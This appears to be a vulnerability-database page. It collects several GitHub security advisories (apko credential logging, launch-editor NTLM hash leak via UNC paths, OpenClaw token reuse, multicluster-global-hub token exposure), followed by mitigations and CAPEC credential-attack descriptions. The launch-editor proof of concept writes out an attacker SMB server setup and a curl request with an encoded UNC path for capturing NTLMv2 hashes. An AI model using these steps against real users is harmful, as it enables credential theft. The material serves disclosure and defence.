GHSA-V6MG-7F7P-QMQP
Vulnerability from github – Published: 2024-06-04 17:52 – Updated: 2024-06-04 17:52Summary
Exposure of HTTP basic auth credentials from repository and keyring URLs in log output
Details
There was a handful of instances where the apko tool was outputting error messages and log entries where HTTP basic authentication credentials were exposed for one of two reasons:
- The
%sverb was used to format aurl.URLas a string, which includes un-redacted HTTP basic authentication credentials if they are included in the URL. - A string URL value (such as from the configuration YAML file supplied used in an apko execution) was never parsed as a URL, so there was no chance of redacting credentials in the logical flow.
apko, as well as its companion library go-apk, have been updated to ensure URLs are parsed and redacted before being output as string values.
PoC
Create a config file like this apko.yaml:
contents:
keyring:
- https://packages.wolfi.dev/os/wolfi-signing.rsa.pub
repositories:
- https://me%40example.com:supersecretpassword@localhost:8080/os
packages:
- wolfi-base
cmd: /bin/sh -l
archs:
- x86_64
- aarch64
Then run:
apko build apko.yaml latest foo.tar --log-level debug
Observe instances of the password being shown verbatim in the log output, such as:
...
DEBU image configuration:
contents:
repositories:
- https://me%40example.com:supersecretpassword@localhost:8080/os
keyring:
- https://packages.wolfi.dev/os/wolfi-signing.rsa.pub
packages:
- wolfi-base
...
Impact
For users accessing keyring or APK repository content using HTTP basic auth, credentials were being logged in plaintext, depending on the user's logging settings. If you use apko in continuous integration jobs, it is likely that the credentials leak via logs of these jobs. Depending on the accessibility of these logs, this could be a company-internal or public leakage of credentials.

GHSA-V6WH-96G9-6WX3
Vulnerability from github – Published: 2026-06-15 17:18 – Updated: 2026-06-15 17:18Summary
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor - the server that has the middleware using
launch-editoris running - the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Vulnerability from github – Published: 2026-03-03 23:01 – Updated: 2026-03-24 17:55Vulnerability
OpenClaw reused gateway.auth.token (and gateway.remote.token) as a fallback hash secret for owner-ID prompt obfuscation when commands.ownerDisplay=hash and commands.ownerDisplaySecret was unset.
This created secret dual-use between gateway authentication and prompt metadata hashing.
Impact
- Auth-secret dual-use across security domains (gateway auth and prompt metadata hashing).
- Hash outputs are visible to third-party model providers in system prompts.
- No direct plaintext token disclosure.
- Practical risk is highest when operators use weak gateway tokens and leave owner hash secret unset.

GHSA-V7Q5-Q7P3-9VJM
Vulnerability from github – Published: 2026-08-10 18:32 – Updated: 2026-08-10 18:32A flaw was found in multicluster-global-hub. During a ManagedClusterMigration, the system incorrectly grants all managed hubs read access to a shared communication topic. This allows a compromised managed hub to intercept and collect sensitive bootstrap kubeconfigs, which contain API server tokens intended for other hubs. These tokens have an extended validity of approximately 9.86 years, significantly increasing the risk of unauthorized access and information disclosure to other managed clusters.

Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.
